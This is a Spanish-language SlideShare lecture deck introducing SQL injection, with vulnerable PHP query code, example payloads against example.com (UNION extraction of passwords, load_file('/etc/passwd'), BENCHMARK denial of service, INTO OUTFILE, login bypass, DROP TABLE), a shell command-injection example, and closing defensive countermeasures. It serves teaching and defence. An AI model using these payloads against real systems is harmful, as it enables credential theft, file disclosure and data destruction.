SlideShare une entreprise Scribd logo
1  sur  53
Télécharger pour lire hors ligne
Cesar Neira
Estudiante de Ing. Sistemas
Aula H4X0R




                                             Cesar Neira
            Inyecciones SQL
                 para todos
Introducción, explotación y contramedidas.
OWASP Top 10 2004
OWASP Top 10 2004
OWASP Top 10 2007
OWASP Top 10 2007
OWASP Top 10 2010
OWASP Top 10 2010
MITRE – Top 25
MITRE – Top 25
¿Qué está pasando?
¿Qué es una
Inyección SQL?
Fallo de inyección

Un interprete ejecuta
una instrucción enviada
por la aplicación.

La aplicación forma la
instrucción con entradas
del usuario.

El      usuario    envía
entradas especialmente
diseñadas para alterar el
significado     de     la
instrucción
Por ejemplo:

 PROGRAMA   :     system(“ls $dir”);
 ENTRADA    :     $dir
 INTERPRETE :     /bin/bash

       $dir = “images”
       Instrucción: $ ls images
       Hacer un listado del directorio “images”

       $dir = “images && halt”
       Instrucción: $ ls images && halt
       Hacer un listado del directorio “images” y
       luego apagar el sistema.
Lenguaje SQL

Structured Query Language
(lenguaje     de  consulta
estructurado)

Permite    realizar diversas
operaciones sobre bases de
datos relacionales.
Es interpretado por el DBMS.

Existen dialectos específicos
para cada DBMS.
Ejemplos de SQL

SELECT email FROM users;
           webmaster@example.com
            invitado@example.com
              pepito@hotmail.com

SELECT username,password FROM users WHERE
type=1;
              admin    123456
SQLi = Injection + SQL

 INTERPRETE : DBMS   Error de validación de
 LENGUAJE   : SQL    entradas.

                     Permite alterar las
                     consultas SQL.

                     No es un error del
                     DBMS.

                     No es exclusivo de
                     aplicaciones web.
¿Cómo?
Caja Negra

http://example.com/index.php?page=news&id=23


page=news


  id=23

             index.php
Arquitectura

                      SERVIDOR
            HTTP



          INTERNET

CLIENTE              SQL




                     BASE DE DATOS
User: pepito

      http://example.com/news.php?id=23


     /* news.php */
     ...
     $id = $_GET['id'];
     $query = "SELECT * FROM news WHERE id=$id";
     ...


      SELECT * FROM news WHERE id=23
User: Z3r0C001-H@...

       http://example.com/news.php?id=23 OR 1=1


      /* news.php */
      ...
      $id = $_GET['id'];
      $query = "SELECT * FROM news WHERE id=$id";
      ...


      SELECT * FROM news WHERE id=23 OR 1=1
¿Y qué?
Extracción de Datos
UNION SELECT

      http://example.com/news.php?id=23 AND
      1=0 UNION SELECT username,password
      FROM users




      SELECT * FROM news WHERE id=23 AND
      1=0 UNION SELECT username,password
      FROM users
DEMO 1
Extracción de ficheros
LOAD_FILE()

      http://example.com/news.php?id=23 AND
      1=0 UNION SELECT
      1,load_file('/etc/passwd') FROM users




      SELECT * FROM news WHERE id=23 AND
      1=0 UNION SELECT
      1,load_file('/etc/passwd') FROM users
DEMO 2
Ataques DoS
#RefRef
BENCHMARK()


     http://example.com/news.php?id=23 AND 0 =
     BENCHMARK(999999999999,SHA(RAND()))




    SELECT * FROM news WHERE id=23 AND 0 =
    BENCHMARK(999999999999,SHA(RAND()))
DEMO 3
File Upload
OUTFILE / DUMPFILE


      http://example.com/news.php?id=23 AND 0 =
      1 UNION SELECT '','Hello World!' INTO
      OUTFILE '/tmp/hello.txt'



     SELECT * FROM news WHERE id=23 AND 0 =
     1 UNION SELECT '','Hello World!' INTO
     OUTFILE '/tmp/hello.txt'
DEMO 4
xp_cmdshell
MSF - webpayloads
DEMO 5
Login Bypass
Login Bypass

     /* login.php */
     ...
     $user = $_POST['username'];
     $pass = $_POST['password'];
     $query = "SELECT * FROM users WHERE
     username = '$user' AND password = '$pass'";
     ...


     SELECT * FROM users WHERE username =
     'admin' AND password = '' OR '' = ''
Por ejemplo...
Ataque Boby Tables
Ataque Boby Tables

     /* login.php */
     ...
     $user = $_POST['username'];
     $pass = $_POST['password'];
     $query = "SELECT * FROM users WHERE
     username = '$user' AND password = '$pass'";
     ...


     SELECT * FROM users WHERE username = '';
     DROP TABLE users;--' AND password = ''
Y hay más...
Oh, y ahora ¿Quién
podrá defendernos?
Validación de entradas

 - Expresiones regulares

 - Validación de tipo

 - Escapar caracteres
 especiales

 - Librerías de seguridad
 ESAPI

 No solo JavaScript
Consultas
Parametrizadas
Definir primero la consulta y
luego pasarle los parámetros.

- Prepared Statements.

- Storage Procedures.
Permisos de Acceso

- Las aplicaciones no
necesitan la cuenta de
administrador.

- GRANT ALL PRIV... ¿Es
necesario?

- Aplicaciones diferentes,
usuarios diferentes
IDS, IPS, WAF, etc...

- Sistemas de detección y
prevención de intrusos.
(Snort)

- Web Application Firewall.
(mod_security)

- Reescritura de solicitudes
HTTP. (mod_rewrite)

- Basados en patrones.

- No 100% confiables.
Gracias por participar
            muy pronto estamos en provincias
   para más información ingresa a nuestra web


En el 2012 mucho más de nosotros…




                 http://alguienenlafisi.blogspot.com

Contenu connexe

Tendances (12)

Mantenimiento de Usuarios usando MVC ver1
Mantenimiento de Usuarios usando MVC ver1Mantenimiento de Usuarios usando MVC ver1
Mantenimiento de Usuarios usando MVC ver1
 
Consultas
ConsultasConsultas
Consultas
 
Sentencias create
Sentencias createSentencias create
Sentencias create
 
Cookies y sesiones en php
Cookies y sesiones en phpCookies y sesiones en php
Cookies y sesiones en php
 
Inf 17 (chatbot)
Inf 17 (chatbot)Inf 17 (chatbot)
Inf 17 (chatbot)
 
Php
PhpPhp
Php
 
Sesion 3
Sesion 3Sesion 3
Sesion 3
 
Wp config.php
Wp config.phpWp config.php
Wp config.php
 
Java: Entrada y salida de datos por consola en windows.
Java: Entrada y salida de datos por consola en windows.Java: Entrada y salida de datos por consola en windows.
Java: Entrada y salida de datos por consola en windows.
 
Linux usuarios (2)
Linux usuarios (2)Linux usuarios (2)
Linux usuarios (2)
 
Instrucciones basicas de mySQL
Instrucciones basicas de mySQLInstrucciones basicas de mySQL
Instrucciones basicas de mySQL
 
Quasi - Practicas de Programacion en C
Quasi - Practicas de Programacion en CQuasi - Practicas de Programacion en C
Quasi - Practicas de Programacion en C
 

Similaire à Inyecciones sql para todos

Curso php dia4
Curso php dia4Curso php dia4
Curso php dia4
cognos_uie
 

Similaire à Inyecciones sql para todos (20)

Seguridad En Programación
Seguridad En ProgramaciónSeguridad En Programación
Seguridad En Programación
 
Evidencia Informe amenaza a las bases de datos - Gestión de la Seguridad Info...
Evidencia Informe amenaza a las bases de datos - Gestión de la Seguridad Info...Evidencia Informe amenaza a las bases de datos - Gestión de la Seguridad Info...
Evidencia Informe amenaza a las bases de datos - Gestión de la Seguridad Info...
 
Doctrine2 sf2Vigo
Doctrine2 sf2VigoDoctrine2 sf2Vigo
Doctrine2 sf2Vigo
 
Seguridad de aplicaciones web 2.0
Seguridad de aplicaciones web 2.0Seguridad de aplicaciones web 2.0
Seguridad de aplicaciones web 2.0
 
INYECCION SQL(SEGURIDAD DE LA INFORMACION)
INYECCION SQL(SEGURIDAD DE LA INFORMACION)INYECCION SQL(SEGURIDAD DE LA INFORMACION)
INYECCION SQL(SEGURIDAD DE LA INFORMACION)
 
Vulnerabilidades en aplicaciones web
Vulnerabilidades en aplicaciones webVulnerabilidades en aplicaciones web
Vulnerabilidades en aplicaciones web
 
Presentación Workshop php Barcelona Seguridad
Presentación Workshop php Barcelona SeguridadPresentación Workshop php Barcelona Seguridad
Presentación Workshop php Barcelona Seguridad
 
Introducción a las vulnerabilidades web
Introducción a las vulnerabilidades webIntroducción a las vulnerabilidades web
Introducción a las vulnerabilidades web
 
Charla OWASP
Charla OWASPCharla OWASP
Charla OWASP
 
Inyección_sql
Inyección_sqlInyección_sql
Inyección_sql
 
Seguridad Base de Datos sql injection v1.0
Seguridad Base de Datos sql injection v1.0Seguridad Base de Datos sql injection v1.0
Seguridad Base de Datos sql injection v1.0
 
U3-ACT02-TBD-ISC-MSG.pdf
U3-ACT02-TBD-ISC-MSG.pdfU3-ACT02-TBD-ISC-MSG.pdf
U3-ACT02-TBD-ISC-MSG.pdf
 
9.laravel
9.laravel9.laravel
9.laravel
 
Asegúr@IT 7: Serialized SQL Injection
Asegúr@IT 7: Serialized SQL InjectionAsegúr@IT 7: Serialized SQL Injection
Asegúr@IT 7: Serialized SQL Injection
 
SQLite3
SQLite3SQLite3
SQLite3
 
Seguridad WEB - Principios básicos.
Seguridad WEB - Principios básicos.Seguridad WEB - Principios básicos.
Seguridad WEB - Principios básicos.
 
Curso php dia4
Curso php dia4Curso php dia4
Curso php dia4
 
Aprendiz unad
Aprendiz unadAprendiz unad
Aprendiz unad
 
Aprendiz unad
Aprendiz unadAprendiz unad
Aprendiz unad
 
Programacion de base de datos - unidad 3 Programacion de base de datos
Programacion de base de datos - unidad 3 Programacion de base de datosProgramacion de base de datos - unidad 3 Programacion de base de datos
Programacion de base de datos - unidad 3 Programacion de base de datos
 

Inyecciones sql para todos

  • 1.
  • 2.
  • 4. Aula H4X0R Cesar Neira Inyecciones SQL para todos Introducción, explotación y contramedidas.
  • 10. OWASP Top 10 2010
  • 15. Fallo de inyección Un interprete ejecuta una instrucción enviada por la aplicación. La aplicación forma la instrucción con entradas del usuario. El usuario envía entradas especialmente diseñadas para alterar el significado de la instrucción
  • 16. Por ejemplo: PROGRAMA : system(“ls $dir”); ENTRADA : $dir INTERPRETE : /bin/bash $dir = “images” Instrucción: $ ls images Hacer un listado del directorio “images” $dir = “images && halt” Instrucción: $ ls images && halt Hacer un listado del directorio “images” y luego apagar el sistema.
  • 17. Lenguaje SQL Structured Query Language (lenguaje de consulta estructurado) Permite realizar diversas operaciones sobre bases de datos relacionales. Es interpretado por el DBMS. Existen dialectos específicos para cada DBMS.
  • 18. Ejemplos de SQL SELECT email FROM users; webmaster@example.com invitado@example.com pepito@hotmail.com SELECT username,password FROM users WHERE type=1; admin 123456
  • 19. SQLi = Injection + SQL INTERPRETE : DBMS Error de validación de LENGUAJE   : SQL entradas. Permite alterar las consultas SQL. No es un error del DBMS. No es exclusivo de aplicaciones web.
  • 22. Arquitectura SERVIDOR HTTP INTERNET CLIENTE SQL BASE DE DATOS
  • 23. User: pepito http://example.com/news.php?id=23 /* news.php */ ... $id = $_GET['id']; $query = "SELECT * FROM news WHERE id=$id"; ... SELECT * FROM news WHERE id=23
  • 24. User: Z3r0C001-H@... http://example.com/news.php?id=23 OR 1=1 /* news.php */ ... $id = $_GET['id']; $query = "SELECT * FROM news WHERE id=$id"; ... SELECT * FROM news WHERE id=23 OR 1=1
  • 27. UNION SELECT http://example.com/news.php?id=23 AND 1=0 UNION SELECT username,password FROM users SELECT * FROM news WHERE id=23 AND 1=0 UNION SELECT username,password FROM users
  • 30. LOAD_FILE() http://example.com/news.php?id=23 AND 1=0 UNION SELECT 1,load_file('/etc/passwd') FROM users SELECT * FROM news WHERE id=23 AND 1=0 UNION SELECT 1,load_file('/etc/passwd') FROM users
  • 34. BENCHMARK() http://example.com/news.php?id=23 AND 0 = BENCHMARK(999999999999,SHA(RAND())) SELECT * FROM news WHERE id=23 AND 0 = BENCHMARK(999999999999,SHA(RAND()))
  • 37. OUTFILE / DUMPFILE http://example.com/news.php?id=23 AND 0 = 1 UNION SELECT '','Hello World!' INTO OUTFILE '/tmp/hello.txt' SELECT * FROM news WHERE id=23 AND 0 = 1 UNION SELECT '','Hello World!' INTO OUTFILE '/tmp/hello.txt'
  • 43. Login Bypass /* login.php */ ... $user = $_POST['username']; $pass = $_POST['password']; $query = "SELECT * FROM users WHERE username = '$user' AND password = '$pass'"; ... SELECT * FROM users WHERE username = 'admin' AND password = '' OR '' = ''
  • 46. Ataque Boby Tables /* login.php */ ... $user = $_POST['username']; $pass = $_POST['password']; $query = "SELECT * FROM users WHERE username = '$user' AND password = '$pass'"; ... SELECT * FROM users WHERE username = ''; DROP TABLE users;--' AND password = ''
  • 48. Oh, y ahora ¿Quién podrá defendernos?
  • 49. Validación de entradas - Expresiones regulares - Validación de tipo - Escapar caracteres especiales - Librerías de seguridad ESAPI No solo JavaScript
  • 50. Consultas Parametrizadas Definir primero la consulta y luego pasarle los parámetros. - Prepared Statements. - Storage Procedures.
  • 51. Permisos de Acceso - Las aplicaciones no necesitan la cuenta de administrador. - GRANT ALL PRIV... ¿Es necesario? - Aplicaciones diferentes, usuarios diferentes
  • 52. IDS, IPS, WAF, etc... - Sistemas de detección y prevención de intrusos. (Snort) - Web Application Firewall. (mod_security) - Reescritura de solicitudes HTTP. (mod_rewrite) - Basados en patrones. - No 100% confiables.
  • 53. Gracias por participar muy pronto estamos en provincias para más información ingresa a nuestra web En el 2012 mucho más de nosotros… http://alguienenlafisi.blogspot.com